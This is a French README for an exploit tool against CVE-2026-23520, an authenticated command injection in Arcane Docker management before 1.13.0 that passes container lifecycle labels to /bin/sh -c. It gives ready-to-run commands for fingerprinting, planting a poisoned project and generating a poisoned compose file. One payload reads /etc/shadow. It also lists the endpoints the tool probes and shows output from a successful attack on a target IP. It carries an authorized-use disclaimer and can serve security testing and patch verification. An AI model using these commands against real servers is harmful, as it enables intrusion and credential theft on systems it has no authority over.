
Preuve de concept d'exploitation pour CVE-2026-23520, une RCE authentifiée dans Arcane Docker management via injection de commandes système dans les labels de cycle de vie. Inclut les modes check, exploit et generate.
Injection de commandes système dans Arcane Docker Management (< 1.13.0)
Arcane est une plateforme moderne de gestion Docker basée sur le web. Les versions antérieures à 1.13.0 sont vulnérables à une exécution de code à distance (RCE) authentifiée via une injection de commandes système dans les labels de cycle de vie du service de mise à jour.
Le service de mise à jour prenait en charge deux labels de conteneur Docker :
| Label | Déclencheur |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | Avant une mise à jour de conteneur |
com.getarcaneapp.arcane.lifecycle.post-update | Après une mise à jour de conteneur |
La valeur du label est transmise directement à /bin/sh -c sans aucune assainissement. Comme tout utilisateur authentifié (pas seulement les administrateurs) peut créer des projets via l'API, un attaquant peut planter un projet empoisonné. Lorsqu'un administrateur déclenche ensuite une mise à jour de conteneur, la commande injectée s'exécute dans le conteneur — et potentiellement sur l'hôte si des montages de volumes sont présents.
Attaquant (utilisateur à faibles privilèges) Serveur Arcane
──────────────────────── ──────────────
1. Authentification (n'importe quel utilisateur) ──► JWT émis
2. Création d'un projet avec Projet enregistré avec
label de cycle de vie empoisonné ──────────► label malveillant
│
┌───────────────────────────────────────────────┘
│ 3. L'administrateur déclenche une mise à jour de conteneur
▼
Le service de mise à jour Arcane lit la valeur du label
La transmet à /bin/sh -c
│
▼
*** Exécution de commande arbitraire ***
(portée conteneur, ou hôte si des volumes sont montés)
| Statut | Versions |
|---|---|
| Vulnérable | Arcane < 1.13.0 |
| Corrigé | Arcane ≥ 1.13.0 |
Le correctif (commit 5a9c2f9) supprime complètement la fonctionnalité des labels de cycle de vie afin d'éliminer la surface d'attaque.
urllib de la bibliothèque standard, fonctionne sur Python 3.10+check (empreinte), exploit (déploiement), generate (fichier compose hors ligne)-v) — affiche exactement quels points de terminaison sont sondés et ce qui est renvoyépython3 poc_cve_2026_23520.py check -t <IP_CIBLE>
python3 poc_cve_2026_23520.py exploit \
-t <IP_CIBLE> \
-u <NOM_UTILISATEUR> \
-p <MOT_DE_PASSE> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <IP_CIBLE>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit Déployer le projet empoisonné via l'API Arcane
check Prendre l'empreinte d'Arcane et vérifier la vulnérabilité
generate Générer un fichier compose empoisonné (aucun réseau requis)
options:
-h, --help Afficher ce message d'aide et quitter
-v, --verbose Afficher la sortie de débogage du sondage
Options de l'exploit :
| Option | Description | Défaut |
|---|---|---|
-t, --target | Hôte Arcane (IP ou nom d'hôte) | requis |
-P, --port | Port Arcane | 3552 |
-u, --username | Tout utilisateur Arcane authentifié | requis |
-p, --password | Mot de passe de l'utilisateur | requis |
--payload | Commande shell à injecter | id |
--hook | Hook de mise à jour pre ou post | pre |
--project-name | Nom du projet empoisonné | poc-cve-2026-23520 |
--env-id | ID d'environnement (détection automatique si omis) | auto |
--scheme | http ou https | http |
--no-verify | Ignorer la vérification du certificat TLS | désactivé |
Le script ne code pas en dur un seul chemin d'API. Il sonde plutôt silencieusement plusieurs chemins connus pour chaque opération et s'arrête au premier succès :
| Opération | Points de terminaison essayés |
|---|---|
| Version | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| Authentification | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| Environnements | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| Création de projet | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects, et plus encore |
Les clés de réponse sont également mises en correspondance de manière flexible (par ex., currentVersion, version, Version, serverVersion — y compris les objets imbriqués et la recherche insensible à la casse).
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── Étape 1 · Empreinte de la cible ──
[*] Cible : http://10.129.7.208:3552
[*] Sondage des points de terminaison de version …
[+] Version trouvée via /api/version
[+] Version Arcane : v1.12.4
[+] La version v1.12.4 est < 1.13.0 — VULNÉRABLE
── Étape 2 · Authentification ──
[*] Authentification en tant qu'attaquant …
[+] JWT obtenu via /api/auth/login
── Étape 3 · Découverte de l'environnement ──
[*] Sondage des points de terminaison d'environnement …
[+] 1 environnement(s) trouvé(s) via /api/environments
[*] → 1 (local)
[+] Utilisation de l'environnement : 1
── Étape 4 · Plantage du projet empoisonné ──
[*] Injection de la charge utile dans le label de cycle de vie : pre-update
[*] Label : com.getarcaneapp.arcane.lifecycle.pre-update
[*] Valeur : id
[+] Projet créé via /api/environments/1/projects
── Exploit planté avec succès ──
[+] Le projet empoisonné attend maintenant un déclencheur de mise à jour.
5a9c2f9Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur n'est pas responsable de toute utilisation abusive. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
MIT